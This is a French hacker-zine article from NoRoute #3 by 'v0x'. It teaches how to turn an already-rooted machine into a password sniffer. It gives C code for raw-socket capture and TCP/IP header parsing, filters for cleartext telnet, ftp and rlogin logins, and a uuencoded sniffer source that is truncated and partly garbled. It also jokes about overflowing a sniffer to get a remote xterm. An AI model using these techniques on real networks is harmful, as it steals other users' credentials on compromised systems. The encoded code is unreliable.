,o$###########################$o, $' SnIff da nEt rATHEr than C0ke '$ '*oooooooo<[N0Route#3]>oooooooo*' By v0x *** Introduction Hacker une box, c kool, mais bon, une fois que tu es passe root et que t'en a tire ce que tu pouvais, generalement elle n'est plus interessante (sauf peut-etre pour flooder ou s'en servir comme paserelle pour un autre hack). Au lieu de la laisser tomber ca serait plutot sympa si on pouvait voir ce qu'il s'y passe et au passage se faire quelques password sans trop de frais :) PAS BOUGER! Tonton v0x a pense a ca... Bienvenue dans le monde feerique du sniffing, ou : comment hacker dans son fauteuil en laissant faire les autres... *** Cekoidonk le sniffing ? Bon, si t'es un lecteur assidu de NoRoute, tu as surement du lire les articles precedents de HotCode et de Kewl sur les sockets et TCP/IP, donc on va attaquer directement. Si c'est pas le cas, 1/ on a ton nom ;) 2/ va recup les numeros precedents sur le ouaibe de PhE! Bien, le but du jeu ca va etre de recuperer le contenu des paquets qui voyagent sur le LAN. C'est dingue de voir que la quasi totalite des transmis- sions de password se font NON CRYPTEES donc on va exploiter cette faille. Le sniffing c'est tout connement le fait de logguer ce qui se passe sur une interface reseau. *** Theorie Quand un user se connecte a un telnet ou a un ftp (des fois au rlogin aussi), on lui demande invariablement son f*****g password. A moins de l'utilisation de kerberos, le password est transmis tel quel via le net sans aucunes forme d'encryption aussi primitive soit-elle. Donc grosso-modo, il suffit de logguer les paquets dont le port de destination est soit 21 (ftp control connection), soit 23 (telnet) soit, au cas ou, 513 (rlogin). Il est aussi necessaire de logguer ce qui vient d'un de ces ports de l'exterieur, ca permet de localiser rapidement une transmission de password en recherchant les paquets contenant par exemple la chaine "Password:" ou "login:"; ensuite ca sera facile de filtrer tous les paquets emis par le client et ainsi reconstituer le password lettre par lettre... Voila pour le concept de base, maintenant, comment recuperer les paquets et les decortiquer pour en extraire la substantifique moelle ? =) La technique consiste a ouvrir une interface reseau raw sur la machine et les paquets vont se faire un plaisir de venir nous dire un ptit coucou... Il y a differents cas surtout du point de vue du hardware utilise. Pour illustrer cet article on va prendre le cas le plus simple, celui d'une interface IP toute conne, pas d'ethernet ou autres, ca serait trop long a detailler dans un article genera- liste. Il existe tout un tas de sniffer ethernet, et meme des spoofer ethernet comme Mendax ou RBone qui fonctionnent a merveille :). Le code qu'ils utilisent pour la prediction du numero de sequence peut etre la base d'un sniffer ETH. *** Pratique La technique est relativement simple a mettre en oeuvre et se resume en deux petites lignes : int socket, len, r; char buf[512]; struct sockaddr_in addr; rec = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); /* ourvre une raw socket */ r = recvfrom(rec, buf, 512, 0, (struct sockaddr*)&addr, &len) /* attend un paquet */ Si rec < 0, c'est que l'ouverture de la socket a echoue, ne pas oublier qu'il faut etre root pour pouvoir ouvrir une raw socket! Si r == -1, c'est que la reception a echoue... Dans les deux cas, un perror() s'impose :) recvfrom() n'attend et ne recupere qu'un seul paquet a la fois! Il faut donc boucler afin de recuperer un flux continu. Maintenant voyons comment decortiquer les paquets... Apres un recvfrom(), le buffer contient un paquet IP qui encapsule un paquet TCP contenant lui meme les donnees (pour plus de details, voir l'article de Kewl dans le #1 de NoRoute). ,-------------, buf -> | Header IP | <- ip = (struct iphdr*)buf; |-------------| | Header TCP | <- tcp = (struct tcphdr*)(buf + ip->ihl<<2); |-------------| | ::::::::::: | <- data = (unsigned char*)(buf + | ::Donnees:: | sizeof(struct iphdr) + | ::::::::::: | sizeof(struct tcphdr)); buf+len -> '-------------' Voici le contenu du buffer rempli par recvfrom() et les operations a effectuer pour le decouper. Le nombre d'octets de donnees contenu dans le paquet TCP se calcule par la formule suivante : datalen = len - sizeof(struct iphdr) - sizeof(struct tcphdr) - 1; *(data+datalen) represente donc le dernier octet de donnee du paquet TCP et egalement la fin 'logique' du buffer (la fin 'physique' etant la limite des 512 octets - ou plus si on veut etre prevoyant - du buffer temporaire dans la pile prevu pour recevoir la stuff. Tiens, ca me fait penser qu'en envoyant un paquet de la mort on pourrait faire un buffer overrun et faire executer un egg par le programme :))) Sympa, si le r00t a ferme l'acces a la machine because [BALISE MODE] ON mais qu'il n'a pas kille le sniffer, on pourrait s'envoyer un xterm via le sniffer - MDR :)))... Bon je delire la, faut que j'arrete defini- tivement le melon en tranches...). Maintenant interessons-nous aux headers qui vont nous permettre de filtrer. Voici la declaration de la struct iphdr : struct iphdr { [plein de stuff inutile] __u32 saddr; /* ip emmetrice du paquet */ __u32 daddr; /* ip de destination */ }; saddr contient l'adresse de l'emeteur du paquet sous la forme d'un entier 32bits non signe (si A.B.C.D est l'ip, saddr = A*256^3+B*256^2+C*256+D). Il est possible de convertir ce nombre en une chaine de caractere comme ca: char *ipfrom = inet_ntoa(ip->saddr); Les ports etant des entites purement fictives a l'usage unique de TCP, ils sont accessibles dans le header TCP parmis d'autres champs... Voici la declaration de la struct tcphdr : struct tcphdr { __u16 source; /* port source */ __u16 dest; /* port de reception */ __u32 seq; /* numero de sequence de l'emeteur */ __u32 ack_seq; /* numero de confirmation de reception */ __u16 res1:4, doff:4, fin:1, /* Finish = Fin de transmission */ syn:1, /* Synchronize numbers = demande de connex */ rst:1, /* Reset = fermer connexion, anomalie */ psh:1, /* Push */ ack:1, /* Accuse de reception */ urg:1, /* Urgent ? oui -> urg_ptr */ res2:2; __u16 window; /* Fenetre d'acceptation des paquets */ __u16 check; /* Checksum du header+donnees */ __u16 urg_ptr; /* Niveau d'urgence */ }; Bon, pour cause de lisibilite, j'ai supprime la structure de compilation conditionnelle qui gere l'endian. L'ENDIAN permet de savoir comment sont stockes les octets de poids fort et les octets de poids faible dans la memoire. Sur les plateformes Intel, c'est LITTLE_INDIAN qui est utlise. De toute facon, peu importe le systeme, il faut toujours utiliser ntohs() pour lire le port (ntohs() = Network To Host Short) car cette fonction gere automatiquement l'indian. Donc : unsigned short source_port = ntohs(tcp->th_sport); Arme de tout ca, il est possible d'ecrire un sniffer de base mais qui remplit sa sombre besogne :) *** Mise en oeuvre J'ai inclus ici un petit sniffer bricole par mes soins qui devrait se compiler sur la plupart des Unix. Le voila au format uuencode (une passe de uudecode sur tout ce file devrait creer getpkt.c) : begin 644 getpkt.c M+RH@9V5T<&MT+F,@.B!L:71T;&4@2!W:6QL(&)E(')E<&]R=&5D+`H@ M*B!I9B!N;VYE(&ES('-U<'!L:65D+"`N+V=E='!K="YL;V<@:7,@87-S=6UE M9"X*("H*("H@1&ES8VQA:6UE2!R97-P;VYS:6)L90H@ M*@D);V8@=&AE("AM:7-S*75S92!T:&%T(&-A;B!B92!M861E(&]F('1H92!I M;F9O"`M+2!C87-S:6]P0&UY9V%L92YO7!E7-T M;2YH/@HC:6YC;'5D92`\;F5T:6YE="]I;BYH/@HC:6YC;'5D92`\;F5T+VEF M+F@^"B-I;F-L=61E(#QN971I;F5T+VEP+F@^"B-I;F-L=61E(#QN971I;F5T M+VEP7W1C<"YH/@HC:6YC;'5D92`\97)R;F\N:#X*(VEN8VQU9&4@/&YE=&1B M+F@^"@I&24Q%("IL;V<["@II;FQI;F4@=F]I9"!PPH@("`@:68@*'1C<"T^=&A?9FQA9W,@)B!42%]&24XI"B`@ M("`@(&9PF5O9BAS M=')U8W0@:7!H9'(I*W-I>F5O9BAS=')U8W0@=&-P:&1R*2DI('L*("`@(&9P MF5O9BAS=')U8W0@:7!H M9'(I*W-I>F5O9BAS=')U8W0@=&-P:&1R*2MC;G0I*2D["B`@("!F<')I;G1F M*&QO9RP@(EQN(BD["B`@("!F;W(H8VYT/3`[(&-N="`\('(M"5X("(L"@D)("`@*B@H=6YS:6=N960@8VAA MF5O9BAA9&1R*3L*("!I9B`H*'(@ M/2!R96-V9G)O;2AS+"!B=68L('-I>F4L(#`L("AS=')U8W0@PH@(&EN=`D)2AL;V=F:6QE+"!APH@("`@("!P97)R;W(H(F5R